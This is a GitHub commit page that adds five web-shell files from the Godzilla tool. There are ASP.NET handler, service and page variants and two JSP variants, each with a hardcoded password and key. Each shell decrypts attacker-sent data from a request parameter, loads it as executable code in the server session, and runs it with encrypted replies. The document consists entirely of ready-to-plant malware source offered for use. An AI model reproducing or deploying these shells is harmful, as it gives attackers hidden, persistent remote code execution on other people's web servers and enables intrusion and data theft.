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pass:123,key:123
from: https://github.com/BeichenDream/Godzilla/
author: BeichenDream 👍
This commit is contained in:
tennc 2020-08-18 21:20:10 +08:00 committed by GitHub
parent 245ef6f2a3
commit 6d94915e68
No known key found for this signature in database
GPG key ID: 4AEE18F83AFDEB23
5 changed files with 34 additions and 0 deletions
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<%@ Language="C#" Class="Handler1" %>
public class Handler1 : System.Web.IHttpHandler,System.Web.SessionState.IRequiresSessionState
{
public void ProcessRequest(System.Web.HttpContext Context)
{
try{string key = "202cb962ac59075b";string pass = "123";string md5 = System.BitConverter.ToString(new System.Security.Cryptography.MD5CryptoServiceProvider().ComputeHash(System.Text.Encoding.Default.GetBytes(pass + key))).Replace("-", "");byte[] data = System.Convert.FromBase64String(Context.Request[pass]);data = new System.Security.Cryptography.RijndaelManaged().CreateDecryptor(System.Text.Encoding.Default.GetBytes(key), System.Text.Encoding.Default.GetBytes(key)).TransformFinalBlock(data, 0, data.Length);if (Context.Session["payload"] == null){ Context.Session["payload"] = (System.Reflection.Assembly)typeof(System.Reflection.Assembly).GetMethod("Load", new System.Type[] { typeof(byte[]) }).Invoke(null, new object[] { data }); ;}else{ object o = ((System.Reflection.Assembly)Context.Session["payload"]).CreateInstance("LY"); o.Equals(Context); o.Equals(data); byte[] r = System.Convert.FromBase64String(o.ToString()); Context.Response.Write(md5.Substring(0, 16)); Context.Response.Write(System.Convert.ToBase64String(new System.Security.Cryptography.RijndaelManaged().CreateEncryptor(System.Text.Encoding.Default.GetBytes(key), System.Text.Encoding.Default.GetBytes(key)).TransformFinalBlock(r, 0, r.Length))); Context.Response.Write(md5.Substring(16));}}catch(System.Exception){}
}
public bool IsReusable
{
get
{
return false;
}
}
}

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<%@ WebService Language="C#" Class="WebService1" %>
public class WebService1 : System.Web.Services.WebService
{
public WebService1() {
try{string key = "202cb962ac59075b";string pass = "123";string md5 = System.BitConverter.ToString(new System.Security.Cryptography.MD5CryptoServiceProvider().ComputeHash(System.Text.Encoding.Default.GetBytes(pass + key))).Replace("-", "");byte[] data = System.Convert.FromBase64String(Context.Request[pass]);data = new System.Security.Cryptography.RijndaelManaged().CreateDecryptor(System.Text.Encoding.Default.GetBytes(key), System.Text.Encoding.Default.GetBytes(key)).TransformFinalBlock(data, 0, data.Length);if (Context.Session["payload"] == null){ Context.Session["payload"] = (System.Reflection.Assembly)typeof(System.Reflection.Assembly).GetMethod("Load", new System.Type[] { typeof(byte[]) }).Invoke(null, new object[] { data }); ;}else{ object o = ((System.Reflection.Assembly)Context.Session["payload"]).CreateInstance("LY"); o.Equals(Context); o.Equals(data); byte[] r = System.Convert.FromBase64String(o.ToString()); Context.Response.Write(md5.Substring(0, 16)); Context.Response.Write(System.Convert.ToBase64String(new System.Security.Cryptography.RijndaelManaged().CreateEncryptor(System.Text.Encoding.Default.GetBytes(key), System.Text.Encoding.Default.GetBytes(key)).TransformFinalBlock(r, 0, r.Length))); Context.Response.Write(md5.Substring(16));}}catch(System.Exception){}
}
[System.Web.Services.WebMethod(EnableSession = true)]
public void Test()
{
}
}

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<%@ Page Language="C#"%><%try{string key = "202cb962ac59075b";string pass = "123";string md5 = System.BitConverter.ToString(new System.Security.Cryptography.MD5CryptoServiceProvider().ComputeHash(System.Text.Encoding.Default.GetBytes(pass + key))).Replace("-", "");byte[] data = System.Convert.FromBase64String(Context.Request[pass]);data = new System.Security.Cryptography.RijndaelManaged().CreateDecryptor(System.Text.Encoding.Default.GetBytes(key), System.Text.Encoding.Default.GetBytes(key)).TransformFinalBlock(data, 0, data.Length);if (Context.Session["payload"] == null){ Context.Session["payload"] = (System.Reflection.Assembly)typeof(System.Reflection.Assembly).GetMethod("Load", new System.Type[] { typeof(byte[]) }).Invoke(null, new object[] { data }); ;}else{ object o = ((System.Reflection.Assembly)Context.Session["payload"]).CreateInstance("LY"); o.Equals(Context); o.Equals(data); byte[] r = System.Convert.FromBase64String(o.ToString()); Context.Response.Write(md5.Substring(0, 16)); Context.Response.Write(System.Convert.ToBase64String(new System.Security.Cryptography.RijndaelManaged().CreateEncryptor(System.Text.Encoding.Default.GetBytes(key), System.Text.Encoding.Default.GetBytes(key)).TransformFinalBlock(r, 0, r.Length))); Context.Response.Write(md5.Substring(16));}}catch(System.Exception){}%>

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<%! String xc="202cb962ac59075b"; String pass="123"; String md5=md5(pass+xc); class X extends ClassLoader{public X(ClassLoader z){super(z);}public Class Q(byte[] cb){return super.defineClass(cb, 0, cb.length);} }public byte[] x(byte[] s,boolean m){ try{javax.crypto.Cipher c=javax.crypto.Cipher.getInstance("AES");c.init(m?1:2,new javax.crypto.spec.SecretKeySpec(xc.getBytes(),"AES"));return c.doFinal(s); }catch (Exception e){return null; }} public static String md5(String s) {String ret = null;try {java.security.MessageDigest m;m = java.security.MessageDigest.getInstance("MD5");m.update(s.getBytes(), 0, s.length());ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase();} catch (Exception e) {}return ret; } public static String base64Encode(byte[] bs) throws Exception {Class base64;String value = null;try {base64=Class.forName("java.util.Base64");Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null);value = (String)Encoder.getClass().getMethod("encodeToString", new Class[] { byte[].class }).invoke(Encoder, new Object[] { bs });} catch (Exception e) {try { base64=Class.forName("sun.misc.BASE64Encoder"); Object Encoder = base64.newInstance(); value = (String)Encoder.getClass().getMethod("encode", new Class[] { byte[].class }).invoke(Encoder, new Object[] { bs }); value = value.replace("\n", "").replace("\r", "");} catch (Exception e2) {}}return value; } public static byte[] base64Decode(String bs) throws Exception {Class base64;byte[] value = null;try {base64=Class.forName("java.util.Base64");Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);value = (byte[])decoder.getClass().getMethod("decode", new Class[] { String.class }).invoke(decoder, new Object[] { bs });} catch (Exception e) {try { base64=Class.forName("sun.misc.BASE64Decoder"); Object decoder = base64.newInstance(); value = (byte[])decoder.getClass().getMethod("decodeBuffer", new Class[] { String.class }).invoke(decoder, new Object[] { bs });} catch (Exception e2) {}}return value; }%><% try{byte[] data=base64Decode(request.getParameter(pass));data=x(data, false);if (session.getAttribute("payload")==null){session.setAttribute("payload",new X(pageContext.getClass().getClassLoader()).Q(data));}else{request.setAttribute("parameters", new String(data));Object f=((Class)session.getAttribute("payload")).newInstance();f.equals(pageContext);response.getWriter().write(md5.substring(0,16));response.getWriter().write(base64Encode(x(base64Decode(f.toString()), true)));response.getWriter().write(md5.substring(16));} }catch (Exception e){}%>

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<jsp:root xmlns:jsp="http://java.sun.com/JSP/Page" version="1.2"><jsp:declaration> String xc="202cb962ac59075b"; String pass="123"; String md5=md5(pass+xc); class X extends ClassLoader{public X(ClassLoader z){super(z);}public Class Q(byte[] cb){return super.defineClass(cb, 0, cb.length);} }public byte[] x(byte[] s,boolean m){ try{javax.crypto.Cipher c=javax.crypto.Cipher.getInstance("AES");c.init(m?1:2,new javax.crypto.spec.SecretKeySpec(xc.getBytes(),"AES"));return c.doFinal(s); }catch (Exception e){return null; }} public static String md5(String s) {String ret = null;try {java.security.MessageDigest m;m = java.security.MessageDigest.getInstance("MD5");m.update(s.getBytes(), 0, s.length());ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase();} catch (Exception e) {}return ret; } public static String base64Encode(byte[] bs) throws Exception {Class base64;String value = null;try {base64=Class.forName("java.util.Base64");Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null);value = (String)Encoder.getClass().getMethod("encodeToString", new Class[] { byte[].class }).invoke(Encoder, new Object[] { bs });} catch (Exception e) {try { base64=Class.forName("sun.misc.BASE64Encoder"); Object Encoder = base64.newInstance(); value = (String)Encoder.getClass().getMethod("encode", new Class[] { byte[].class }).invoke(Encoder, new Object[] { bs }); value = value.replace("\n", "").replace("\r", "");} catch (Exception e2) {}}return value; } public static byte[] base64Decode(String bs) throws Exception {Class base64;byte[] value = null;try {base64=Class.forName("java.util.Base64");Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);value = (byte[])decoder.getClass().getMethod("decode", new Class[] { String.class }).invoke(decoder, new Object[] { bs });} catch (Exception e) {try { base64=Class.forName("sun.misc.BASE64Decoder"); Object decoder = base64.newInstance(); value = (byte[])decoder.getClass().getMethod("decodeBuffer", new Class[] { String.class }).invoke(decoder, new Object[] { bs });} catch (Exception e2) {}}return value; }</jsp:declaration><jsp:scriptlet> try{byte[] data=base64Decode(request.getParameter(pass));data=x(data, false);if (session.getAttribute("payload")==null){session.setAttribute("payload",new X(pageContext.getClass().getClassLoader()).Q(data));}else{request.setAttribute("parameters", new String(data));Object f=((Class)session.getAttribute("payload")).newInstance();f.equals(pageContext);response.getWriter().write(md5.substring(0,16));response.getWriter().write(base64Encode(x(base64Decode(f.toString()), true)));response.getWriter().write(md5.substring(16));} }catch (Exception e){}</jsp:scriptlet></jsp:root>